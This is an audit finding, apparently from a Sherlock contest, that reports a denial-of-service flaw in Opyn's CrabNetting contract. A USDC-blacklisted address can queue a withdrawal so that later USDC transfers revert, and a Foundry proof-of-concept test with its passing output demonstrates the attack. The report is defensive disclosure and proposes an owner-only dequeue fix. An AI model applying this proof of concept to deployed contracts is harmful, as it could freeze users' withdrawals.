KingNFT

medium

# Attack with any USDC blacklisted account

## Summary
Any blacklisted account by USDC can block the 'withdraws' queue, and make the contract unavailable.

## Vulnerability Detail
There are  currently 200+ blacklisted accounts by USDC, these accounts are related to known hacks and other crime events.
https://etherscan.io/address/0x5db0115f3b72d19cea34dd697cf412ff86dc7e1b

Any account in the above blacklist can call
```solidity
function queueCrabForWithdrawal(uint256 _amount) external;
```
to block the 'withdraws' queue.

The vulnerability points
```solidity
function netAtPrice(uint256 _price, uint256 _quantity) external onlyOwner {
    // ...

    // process withdraws and send usdc
    i = withdrawsIndex;
    while (crabQuantity > 0) {
        // ...
        if (withdraw.amount <= crabQuantity) {
            // ...
            IERC20(usdc).transfer(withdraw.sender, amountToSend); // @audit revert due to attacker is blacklisted

            // ...
        } else {
            // ...
            IERC20(usdc).transfer(withdraw.sender, amountToSend); // @audit revert due to attacker is blacklisted

            // ...
        }
    }
    // ...
}
```

```solidity
function withdrawAuction(WithdrawAuctionParams calldata _p) public onlyOwner {
    // ...

    // step 5 pay all withdrawers and mark their withdraws as done
    while (remainingWithdraws > 0) {
        // ...
        if (withdraw.amount <= remainingWithdraws) {
            //...
            IERC20(usdc).transfer(withdraw.sender, usdcAmount); // @audit revert due to attacker is blacklisted
            // ...
        } else {
            // ...
            IERC20(usdc).transfer(withdraw.sender, usdcAmount); // @audit revert due to attacker is blacklisted
            // ...
        }
    }
    // ...
}
```

Test case
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import {BaseForkSetup} from "./BaseForkSetup.t.sol";

interface IUSDC {
    function blacklist(address _account) external;
}

contract AttackWithUSDCBlacklistedAccount is BaseForkSetup {
    address internal constant USDCBlacklister = 0x5dB0115f3B72d19cEa34dD697cf412Ff86dc7E1b;
    address internal attacker;
    uint256 internal attackerPk;

    function setUp() public override {
        BaseForkSetup.setUp();
        attackerPk = 0xB11CE;
        attacker = vm.addr(attackerPk);
        vm.label(attacker, "attacker");
        vm.deal(attacker, 1e18);

        vm.prank(0x06CECFbac34101aE41C88EbC2450f8602b3d164b);
        crab.transfer(withdrawer, 1e18);

        vm.prank(0x57757E3D981446D585Af0D9Ae4d7DF6D64647806);
        usdc.transfer(depositor, 20e6);

        vm.prank(0x06CECFbac34101aE41C88EbC2450f8602b3d164b);
        crab.transfer(attacker, 1e18);

        vm.prank(USDCBlacklister);
        IUSDC(address(usdc)).blacklist(attacker);
    }

    function testAttackWithUSDCBlacklistedAccount() public {
        netting.setMinCrab(1e16);
        vm.startPrank(attacker);
        crab.approve(address(netting), type(uint256).max);
        netting.queueCrabForWithdrawal(1e16);
        vm.stopPrank();


        vm.startPrank(depositor);
        usdc.approve(address(netting), 17e6);
        netting.depositUSDC(17e6);
        vm.stopPrank();

        vm.startPrank(withdrawer);
        crab.approve(address(netting), 1e18);
        netting.queueCrabForWithdrawal(1e18);
        vm.stopPrank();

        uint256 priceToNet = 1336290000;
        uint256 quantityToNet = 16840842;
        
        vm.expectRevert(); // @audit blocked by attacker
        netting.netAtPrice(priceToNet, quantityToNet);

        vm.prank(attacker);
        netting.dequeueCrab(1e16);
        netting.netAtPrice(priceToNet, quantityToNet); // @audit success while attack cancelled
    }
}

```

Test result
```solidity
PS C:\Sherlock\2022-11-opyn-ydspa-main\crab-netting> forge test --match-test testAttackWithUSDCBlacklistedAccount -vv
[⠔] Compiling...
[⠢] Compiling 1 files with 0.8.17
[⠰] Solc 0.8.17 finished in 2.84s
Compiler run successful

Running 1 test for test/AttackWithUSDCBlacklistedAccount.t.sol:AttackWithUSDCBlacklistedAccount
[PASS] testAttackWithUSDCBlacklistedAccount() (gas: 850344)
Test result: ok. 1 passed; 0 failed; finished in 2.08s
```

## Impact
The following functions will always revert
```solidity
function netAtPrice(uint256 _price, uint256 _quantity) external;
function withdrawAuction(WithdrawAuctionParams calldata _p) public;
```

## Code Snippet
https://github.com/sherlock-audit/2022-11-opyn/blob/main/crab-netting/src/CrabNetting.sol#L401
https://github.com/sherlock-audit/2022-11-opyn/blob/main/crab-netting/src/CrabNetting.sol#L411
https://github.com/sherlock-audit/2022-11-opyn/blob/main/crab-netting/src/CrabNetting.sol#L704
https://github.com/sherlock-audit/2022-11-opyn/blob/main/crab-netting/src/CrabNetting.sol#L714
## Tool used

Manual Review

## Recommendation
Add a 'forceDequeueCrab()' function to rescue the contract in case of attack.
```solidity
function forceDequeueCrab(address _account, uint256 _amount) external onlyOwner {
    require(!isAuctionLive, "auction is live");
    crabBalance[_account] = crabBalance[_account] - _amount;
    require(
        crabBalance[_account] >= minCrabAmount || crabBalance[_account] == 0,
        "remaining amount smaller than minimum, consider removing full balance"
    );
    // deQueue crab from the last, last in first out
    uint256 toRemove = _amount;
    uint256 lastIndexP1 = userWithdrawsIndex[_account].length;
    for (uint256 i = lastIndexP1; i > 0; i--) {
        Receipt storage r = withdraws[userWithdrawsIndex[_account][i - 1]];
        if (r.amount > toRemove) {
            r.amount -= toRemove;
            toRemove = 0;
            break;
        } else {
            toRemove -= r.amount;
            delete withdraws[userWithdrawsIndex[_account][i - 1]];
            userWithdrawsIndex[_account].pop();
        }
    }
    IERC20(crab).transfer(_account, _amount);
    emit CrabDeQueued(_account, _amount, crabBalance[_account]);
}
```
